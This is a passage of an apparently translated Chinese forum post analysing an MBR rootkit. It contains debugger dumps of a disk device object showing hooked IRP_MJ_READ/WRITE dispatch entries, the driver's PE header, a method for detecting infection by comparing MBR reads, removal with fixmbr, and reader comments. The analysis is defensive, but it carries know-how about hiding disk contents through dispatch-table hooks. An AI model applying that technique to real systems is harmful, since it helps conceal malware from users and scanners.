      +0x010 DeferredContext  : (null)
      +0x014 SystemArgument1  : (null)
      +0x018 SystemArgument2  : (null)
      +0x01c Lock             : (null)
   +0x094 ActiveThreadCount : 0
   +0x098 SecurityDescriptor : 0xe13c9d90
   +0x09c DeviceLock       : _KEVENT
      +0x000 Header           : _DISPATCHER_HEADER
         +0x000 Type             : 0x1 ''
         +0x001 Absolute         : 0 ''
         +0x002 Size             : 0x4 ''
         +0x003 Inserted         : 0 ''
         +0x004 SignalState      : 1
         +0x008 WaitListHead     : _LIST_ENTRY [ 0x81be1b5c - 0x81be1b5c ]
   +0x0ac SectorSize       : 0
   +0x0ae Spare1           : 1
   +0x0b0 DeviceObjectExtension : 0x81be1fd0
      +0x000 Type             : 13
      +0x002 Size             : 0
      +0x004 DeviceObject     : 0x81be1ab8
         +0x000 Type             : 3
         +0x002 Size             : 0x518
         +0x004 ReferenceCount   : 0
         +0x008 DriverObject     : 0x81b92510
         +0x00c NextDevice       : (null)
         +0x010 AttachedDevice   : 0x81be0020
         +0x014 CurrentIrp       : (null)
         +0x018 Timer            : (null)
         +0x01c Flags            : 0x50
         +0x020 Characteristics  : 0x100
         +0x024 Vpb              : 0x81bebd00
         +0x028 DeviceExtension  : 0x81be1b70
         +0x02c DeviceType       : 7
         +0x030 StackSize        : 3 ''
         +0x034 Queue            : __unnamed
         +0x05c AlignmentRequirement : 1
         +0x060 DeviceQueue      : _KDEVICE_QUEUE
         +0x074 Dpc              : _KDPC
         +0x094 ActiveThreadCount : 0
         +0x098 SecurityDescriptor : 0xe13c9d90
         +0x09c DeviceLock       : _KEVENT
         +0x0ac SectorSize       : 0
         +0x0ae Spare1           : 1
         +0x0b0 DeviceObjectExtension : 0x81be1fd0
         +0x0b4 Reserved         : (null)
      +0x008 PowerFlags       : 0
      +0x00c Dope             : 0x81b81e68
      +0x010 ExtensionFlags   : 0
      +0x014 DeviceNode       : (null)
      +0x018 AttachedTo       : 0x81be2f18
         +0x000 Type             : 3
         +0x002 Size             : 0xb8
         +0x004 ReferenceCount   : 0
         +0x008 DriverObject     : 0x81bebbd0
         +0x00c NextDevice       : 0x81b93030
         +0x010 AttachedDevice   : 0x81be1ab8
         +0x014 CurrentIrp       : (null)
         +0x018 Timer            : (null)
         +0x01c Flags            : 0x50
         +0x020 Characteristics  : 0x180
         +0x024 Vpb              : (null)
         +0x028 DeviceExtension  : 0x81ba0e50
         +0x02c DeviceType       : 0x32
         +0x030 StackSize        : 2 ''
         +0x034 Queue            : __unnamed
         +0x05c AlignmentRequirement : 1
         +0x060 DeviceQueue      : _KDEVICE_QUEUE
         +0x074 Dpc              : _KDPC
         +0x094 ActiveThreadCount : 0
         +0x098 SecurityDescriptor : 0xe13c9d90
         +0x09c DeviceLock       : _KEVENT
         +0x0ac SectorSize       : 0
         +0x0ae Spare1           : 1
         +0x0b0 DeviceObjectExtension : 0x81be2fd0
         +0x0b4 Reserved         : (null)
      +0x01c StartIoCount     : 0
      +0x020 StartIoKey       : 0
      +0x024 StartIoFlags     : 0
      +0x028 Vpb              : (null)
   +0x0b4 Reserved         : (null)

DriverObject -> MajorFunction   

81b92548 f9a92c30 CLASSPNP!ClassCreateClose
81b9254c 805025e4 nt!IopInvalidDeviceRequest
81b92550 f9a92c30 CLASSPNP!ClassCreateClose
81b92554 81831410                             <--- IRP_MJ_READ hook
81b92558 81831410                             <--- IRP_MJ_WRITE hook
81b9255c 805025e4 nt!IopInvalidDeviceRequest
81b92560 805025e4 nt!IopInvalidDeviceRequest
81b92564 805025e4 nt!IopInvalidDeviceRequest
81b92568 805025e4 nt!IopInvalidDeviceRequest
81b9256c f9a8d366 CLASSPNP!ClassShutdownFlush
81b92570 805025e4 nt!IopInvalidDeviceRequest
81b92574 805025e4 nt!IopInvalidDeviceRequest
81b92578 805025e4 nt!IopInvalidDeviceRequest
81b9257c 805025e4 nt!IopInvalidDeviceRequest
81b92580 f9a8d44d CLASSPNP!ClassDeviceControlDispatch
81b92584 f9a90fc3 CLASSPNP!ClassInternalIoControl
81b92588 f9a8d366 CLASSPNP!ClassShutdownFlush
81b9258c 805025e4 nt!IopInvalidDeviceRequest
81b92590 805025e4 nt!IopInvalidDeviceRequest
81b92594 805025e4 nt!IopInvalidDeviceRequest
81b92598 805025e4 nt!IopInvalidDeviceRequest
81b9259c 805025e4 nt!IopInvalidDeviceRequest
81b925a0 f9a8eef3 CLASSPNP!ClassDispatchPower
81b925a4 f9a93a24 CLASSPNP!ClassSystemControl
81b925a8 805025e4 nt!IopInvalidDeviceRequest
81b925ac 805025e4 nt!IopInvalidDeviceRequest
81b925b0 805025e4 nt!IopInvalidDeviceRequest
81b925b4 f9a92d15 CLASSPNP!ClassDispatchPnp
81b925b8 81b92510
81b925bc f9a94ec0 CLASSPNP!ClassAddDevice

--------------------------------------------------------------------------------------------------------

内核驱动程序

--------------------------------------------------------------------------------------------------------
Rootkit的内核驱动程序在引导过程的最后一步被加载。驱动程序是rootkit的主要部分,主要负责网络通讯和隐藏被感染扇区的真实内容。
Microsoft (R) COFF Binary File Dumper Version 6.00.8447
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

Dump of file mbr.sys

PE signature found

File Type: EXECUTABLE IMAGE

FILE HEADER VALUES
             14C machine (i386)
               5 number of sections
        47578F69 time date stamp Thu Dec 06 06:58:01 2007
               0 file pointer to symbol table
               0 number of symbols
              E0 size of optional header
             10E characteristics
                   Executable
                   Line numbers stripped
                   Symbols stripped
                   32 bit word machine

OPTIONAL HEADER VALUES
             10B magic #
            7.10 linker version
            9900 size of code
           2F078 size of initialized data
               0 size of uninitialized data
            9946 RVA of entry point
             480 base of code
            9A80 base of data
           10000 image base
              80 section alignment
              80 file alignment
            5.00 operating system version
            5.00 image version
            5.00 subsystem version
               0 Win32 version
           3BBF8 size of image
             480 size of headers
           47EF6 checksum
               1 subsystem (Native)
               0 DLL characteristics
           40000 size of stack reserve
            1000 size of stack commit
          100000 size of heap reserve
            1000 size of heap commit
               0 loader flags
              10 number of directories
               0 [       0] RVA [size] of Export Directory
            9C9C [      28] RVA [size] of Import Directory
               0 [       0] RVA [size] of Resource Directory
               0 [       0] RVA [size] of Exception Directory
               0 [       0] RVA [size] of Certificates Directory
            9E80 [    2DFC] RVA [size] of Base Relocation Directory
               0 [       0] RVA [size] of Debug Directory
               0 [       0] RVA [size] of Architecture Directory
               0 [       0] RVA [size] of Special Directory
               0 [       0] RVA [size] of Thread Storage Directory
               0 [       0] RVA [size] of Load Configuration Directory
               0 [       0] RVA [size] of Bound Import Directory
            9A80 [      44] RVA [size] of Import Address Table Directory
               0 [       0] RVA [size] of Delay Import Directory
               0 [       0] RVA [size] of Reserved Directory
               0 [       0] RVA [size] of Reserved Directory

SECTION HEADER #1
   .text name
    95BC virtual size
     480 virtual address
    9600 size of raw data
     480 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
E8000020 flags
         Code
         Not Paged
         Execute Read Write

SECTION HEADER #2
  .rdata name
      A8 virtual size
    9A80 virtual address
     100 size of raw data
    9A80 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
E8000040 flags
         Initialized Data
         Not Paged
         Execute Read Write

SECTION HEADER #3
    INIT name
     2F6 virtual size
    9B80 virtual address
     300 size of raw data
    9B80 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
E8000020 flags
         Code
         Not Paged
         Execute Read Write

SECTION HEADER #4
  .reloc name
    2E26 virtual size
    9E80 virtual address
    2E80 size of raw data
    9E80 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
E8000040 flags
         Initialized Data
         Not Paged
         Execute Read Write

SECTION HEADER #5
.attach name
   2EEF8 virtual size
    CD00 virtual address
   2EEF8 size of raw data
    CD00 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
E8000040 flags
         Initialized Data
         Not Paged
         Execute Read Write

  Summary

       2EF00 .attach
         100 .rdata
        2E80 .reloc
        9600 .text
         300 INIT
--------------------------------------------------------------------------------------------------------

rootkit检测

--------------------------------------------------------------------------------------------------------
检测的方法基于MBR扇区的比较。用户模式用Windows API函数读取一份假的MBR内容:
hFile = CreateFile( "\\\\.\\PHYSICALDRIVE0", GENERIC_READ, ...
ReadFile( hFile, Buffer, 512, ...
扫描程序的内核部分可以用"\Driver\Disk"设备的原始指针MajorFunction[IRP_MJ_READ]=CLASSPNP!ClassReadWrite读取真实MBR的内容。
如果两份MBR的内容不一样,机器就是被感染了。

--------------------------------------------------------------------------------------------------------

清除

--------------------------------------------------------------------------------------------------------
被感染机器在"Recovery Console"模式下用fixmbr命令即可清除rootkit。

参考:

[1] Derek Soeder Ryan Permeh, eEye BootRoot, 2005 http://research.eeye.com/html/tools/RT20060801-7.html

[2] Symantec AntiVirus Research Center, Understanding Virus Behavior under Windows NT http://www.symantec.com/avcenter/reference/virus.behavior.under.win.nt.pdf

[3] Joanna Rutkowska, Pagefile attack, 2006 http://theinvisiblethings.blogspot.com/2006_10_01_archive.html

[4] Mark Russinovich Bryce Cogswell, Process Monitor http://www.microsoft.com/technet/sysinternals/processesandthreads/processmonitor.mspx

[5] Nitin Kumar Vipin Kumar, Vbootkit: Compromising Windows Vista Security, 2007 http://www.blackhat.com/presentations/bh-europe-07/Kumar/Presentation/bh-eu-07-kumar-apr19.pdf

[招生]科锐逆向工程师培训46期预科班将于 2023年02月09日 正式开班

收藏
点赞0
打赏
分享
最新回复 (6)
雪    币: 120
活跃值: 活跃值 (160)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
雪yaojun 活跃值 2011-9-3 13:39
2
0
学习ROOTBIT技术。。顺便学习英语。哈哈。。谢谢楼主。
雪    币: 27
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
mszjk 活跃值 2011-9-3 15:23
3
0
nice~~
雪    币: 643
活跃值: 活跃值 (11)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
StudyRush 活跃值 3 2011-9-3 15:36
4
0
这翻译不给力啊。代码太多了。字数可能还没有1k。
雪    币: 187
活跃值: 活跃值 (16)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
heyuehui 活跃值 2 2011-9-3 15:40
5
0
谢谢指点,第一次翻译,以后会翻译些长篇大论的
雪    币: 216
活跃值: 活跃值 (20)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
Naylon 活跃值 2 2011-12-24 00:30
6
0
偶然搜到这篇文章,感觉内容很精辟,mark一下先~
雪    币: 1876
活跃值: 活跃值 (26)
能力值: (RANK:550 )
在线值:
发帖
回帖
粉丝
hawking 活跃值 12 2012-3-26 17:19
7
0
学习了 结合http://blog.naver.com/PostView.nhn?blogId=koheung&logNo=120075577164&widgetTypeCall=true这篇文章 应该能理解得更清楚一些
游客
登录 | 注册 方可回帖
返回